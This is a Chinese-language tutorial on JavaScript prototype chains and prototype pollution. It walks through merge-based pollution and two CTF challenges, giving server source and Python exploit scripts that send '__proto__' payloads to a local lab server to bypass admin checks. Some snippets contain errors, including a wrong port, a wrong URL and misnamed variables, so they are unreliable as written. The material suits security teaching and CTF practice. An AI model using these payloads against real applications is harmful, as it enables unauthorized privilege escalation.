安全基础 --- 原型链污染

原型链

大部分面向对象的编程语言，都是通过"类"（class）实现对象的继承。传统上，JavaScript 语言的继承不通过 class，而是通过"原型对象"（prototype）实现

1、prototype 属性的作用

JavaScript 规定，每个函数都有一个prototype属性，指向一个对象

function f() {}
typeof f.prototype // "object"
函数`f`默认具有`prototype`属性，指向一个对象

js中类的建立

js 中，定义一个类，需以定义"构造函数"的方式来定义：

function Foo() {
    this.bar = 1;
}

new Foo();

解析：

Foo函数的内容，就是Foo类的构造函数，this.bar就表示Foo类中的一个属性

（为简化编写js的代码，ECmAScript6 后增加了class语法，但class其实只是一个语法塘）

js中的类中方法的建立

一个类中必然有一些方法，类似属性this.bar，也可将方法定义在构造函数内部

function Foo() {
    this.bar = 1;
    this.show = function() {
        console.log(this.bar);
    }
}

(new Foo()).show()  // 1

解析：

出现问题：新建Foo对象时，this.show = function()... 就会执行一次，这个show方法实际上是绑定在对象上的，而不是绑定在"类"中

js中原型prototype的引用

在创建类时只创建一次show方法，需要使用原型（prototype）

function Foo() {
    this.bar = 1;
}

Foo.prototype.show = function show() {
    console.log(this.bar);
}

let foo = new Foo();
foo.show();

解析：

原型prototype是类Foo的一个属性，所有用Foo类实例化的对象，都有这个属性的所有内容，包括变量和方法。foo对象，天生具有foo.show()方法

此时Foo.prototype访问Foo类的原型，但是Foo实例化出来的对象，不能够通过prototype访问原型

2、proto

是 JavaScript 中一个对象的内部属性，它指向该对象的原型。原型是另一个对象，包含共享的属性和方法，对象可以通过原型继承这些属性和方法。

js 中__proto__的引用

一个 Foo 类实例化出来的 foo 对象，可通过foo.__proto__属性来访问Foo类中的原型

prototype和__proto__的定义

1. prototype：一个类的属性，所有类对象在实例化的时候会拥有prototype中的属性和方法
2. proto：一个对象的__proto__属性，指向这个对象所在的类的prototype属性

3、原型链继承

所有类对象在实例化的时候将会拥有 prototype 的属性和方法，这个特性被用来实现 js 中的继承机制

function Father() {
    this.first_name = 'Donald';
    this.last_name = 'Trump';
}

function Son() {
    this.first_name = 'Melania';
}

Son.prototype = new Father();

let son = new Son();
console.log(`Name:${son.first_name} ${son.last_name}`)
//  Name:Melania Trump

解析：

Son类继承了Father类的last_name属性

主要流程：

1. 在对象son中寻找last_name
2. 无法找出，则在son.__proto__中寻找last_name
3. 如果仍然无法找到，则继续在son.proto.__proto__中寻找last_name
4. 依次寻找，直到null结束。如：object.prototype的__proto__就是null

（js 中的这个查找机制，被运用在面向对象的继承中，被称为是prototype继承链）

PS：

1. 每个构造函数（constructor）都有一个原型对象（prototype）
2. 对象的__proto__属性，指向类的原型对象prototype
3. js 使用prototype链实现继承机制

4、原型链污染

实例：

foo.__proto__指向的是Foo类的prototype。若修改foo.__proto__中的值，就可修改Foo类?

// foo是一个简单的JavaScript对象
let foo = {bar:1};

// foo.bar此时为1
console.log(foo.bar);

// 修改foo的原型（即object）
foo.__proto__.bar = 2;

// 查找顺序原因，foo.bar仍然是1
console.log(foo.bar);

// 此时用objecr创建一个空的zoo对象
let zoo = {};

// 查看zoo.bar
console.log(zoo.bar);

解析：

修改 foo 原型foo.proto.bar = 2，而 foo 是一个object类的实例，所以实际上是修改了object这个类，给这个类增加了一个属性bar，值为2

后来用object类创建了一个zoo对象，let zoo = {}，zoo对象自然也有一个bar属性了

原型链污染定义：

如果攻击者控制并修改了一个对象的原型，那将可以影响所有和这个对象来自同一个类、父类的对象，这种攻击方式就是原型链污染

哪些情况原型链会被污染？

哪些情况可以设置__proto__的值？找到能够控制数组（对象）的"键名"的操作即可：

使用megre测试

function merge (target,source) {
    for(let key in source) {
        if(key in source && key in target){
            merge(target[key],source[key]);
        }else{
            target[key] = source[key];
        }
    }
}

merge操作是最常见可能控制键名的操作，也最能被原型链攻击

在合并过程中，存在赋值的操作 target[key] = source[key]，那么，这个key如果是__proto__,是不是就可以原型链污染呢？

使用如下代码进行测试：

let o1 = {};
let o2 = {a:1,"__proto__":{b:2}};
merge(o1,o2);
console.log(o1.a,o1.b);

o3 = {};
console.log(o3.b);

结果：合并成功，原型链未被污染

解析：

js 创建 o2 的过程（let o2 = {a:2,"proto":{b:2}}）中，__proto__代表o2的原型了，此时遍历o2的所有键名，拿到的是[a,b]，__proto__并不是一个key，也不会修改object的原型

修改代码

let o1 = {};
let o2 = JSON.parse('{"a":1,"__proto__":{"b":2}}');
merge(o1,o2);
console.log(o1.a,o2.b);

o3 = {};
console.log(o3.b);

解析：

JSON解析的情况下，__proto__会被认为是一个真正的"键名"，不代表原型，所以在遍历o2的时候存在这个键，

新建的o3对象，也存在b属性，说明object已被污染

实例

例1：hackit2018

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
//目前user并没有admintoken
var user = []; //empty for now
 
var matrix = [];
for (var i = 0; i < 3; i++){
    matrix[i] = [null , null, null];
}
 
function draw(mat) {
    var count = 0;
    for (var i = 0; i < 3; i++){
        for (var j = 0; j < 3; j++){
            if (matrix[i][j] !== null){
                count += 1;
            }
        }
    }
    return count === 9;
}
 
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
 
app.get('/', (req, res) => {
 
    for (var i = 0; i < 3; i++){
        matrix[i] = [null , null, null];
 
    }
    res.render('index');
})
 
 
app.get('/admin', (req, res) => { 
    /*this is under development I guess ??*/
    console.log(user.admintoken);
    if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
        res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
    } 
    else {
        res.status(403).send('Forbidden');
    }    
}
)
 
 
app.post('/api', (req, res) => {
    var client = req.body;
    var winner = null;
 
    if (client.row > 3 || client.col > 3){
        client.row %= 3;
        client.col %= 3;
    }
    matrix[client.row][client.col] = client.data;
    for(var i = 0; i < 3; i++){
        if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
            if (matrix[i][0] === 'X') {
                winner = 1;
            }
            else if(matrix[i][0] === 'O') {
                winner = 2;
            }
        }
        if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
            if (matrix[0][i] === 'X') {
                winner = 1;
            }
            else if(matrix[0][i] === 'O') {
                winner = 2;
            }
        }
    }
 
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
        winner = 2;
    } 
 
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
        winner = 1;
    }
    if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
        winner = 2;
    }
 
    if (draw(matrix) && winner === null){
        res.send(JSON.stringify({winner: 0}))
    }
    else if (winner !== null) {
        res.send(JSON.stringify({winner: winner}))
    }
    else {
        res.send(JSON.stringify({winner: -1}))
    }
 
})
app.listen(3000, () => {
    console.log('app listening on port 3000!')
})

解析：

获取 flag 的条件是传入的querytoken要和user数组本身的admintoken的MD5值相等，且二者都要存在；全文没有对user.afmintoken进行赋值，理论上这个值不存在，但存在以下赋值语句

matrix[client.row][client.col] = client.data;
其中data、row、col，都是post传入的值，都是可控的。所以可构造原型链污染

本地测试

payload：使用python传入参数

import requests
import json

url = "http://192.168.174.123:3000/api"
url1 = "http://192.168.174.123:3000/admin?querytoken=5881ca97cfe9782358a88e0b31092814"

headers = {"Content-type": "application/json"}

data = {"row": "__proto__", "col": "admintoken", "data": "oupeng"}

res1 = requests.post(url, headers=headers, data=json.dumps(data))
# json.dumps与json.parse是相同的 
res2 = requests.get(url1)

print(res2.text)

运行结果：

例2：

'use strict';

const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');


const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

function clone(a) {
    return merge({}, a);
}

// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};

// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());

app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
    var body = JSON.parse(JSON.stringify(req.body));
    var copybody = clone(body)
    if (copybody.name) {
        res.cookie('name', copybody.name).json({
            "done": "cookie set"
        });
    } else {
        res.json({
            "error": "cookie not set"
        })
    }
});
app.get('/getFlag', (req, res) => {
    var аdmin = JSON.parse(JSON.stringify(req.cookies))
    if (admin.аdmin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

解析：

分析题目，获取flag的条件是：admin.admin == 1，而 admin 本身是一个 object ，其admin 属性本身并不存在，且有敏感函数 merge

function merge(a, b) {    
    for (var attr in b) {        
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }    
return a;
}

// merge函数的作用是进行对象的合并，涉及到对象的赋值，键值可控，即可出发原型链污染

本地测试

显式为undefined，如下

创建字典时，__proto__不是作为键名，而是作为__proto__给其父类进行赋值，所以在test.__proto__中才有admin属性，目的是让__proto__作为键值，所以使用JSON.parse()

JSON.parse()会将json字符串转化为JavaScript中的object

此时创建类的时候就不会直接给父类赋值了 ，且题中也出现了JSON.parse

payload：使用python传入参数

import requests
import json

url1 = "http://192.168.174.123:3000/signup"
url2 = "http://192.168.174.123:3000/getflag"

s = requests.session()

headers = {"Content-Type": "application/json"}
data1 = {"__proto__": {"admin": 1}}

res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url1)
print(res2.text)

运行结果：

附：构造函数无return

function Person(name,age){
    this.name = name;
    this.age = age;
    // PS:没有显式的return语句
}

const person1 = new Person("ling",22);
console.log(person1); // output:Person(name:'ling',age:22)

在第一个实例中，Person 构造函数没有显式的 return 语句，因此 new Person("ling",20) 将隐式地返回新创建的 Person 对象实例，并赋值给 person1 变量

function AnotherPerson(name,age){
    this.name = name;
    this.age = age;
    return{message:"This is returned object."};
}

console.person2 = new AnotherPerson("Bob",25);
console.log(person2);// output:{message:'This is returned object.'}

第二个示例中，AnotherPerson 构造函数有一个显式的 return 语句，并返回了一个新的对象 {message:"This is a object."}，在这种情况下，new AnotherPerson("Bob",25) 将返回一个新的对象，而不是创建的AnotherPerson对象实例。因此，person2 变量得到的是一个普通对象而不是AnotherPerson的实例。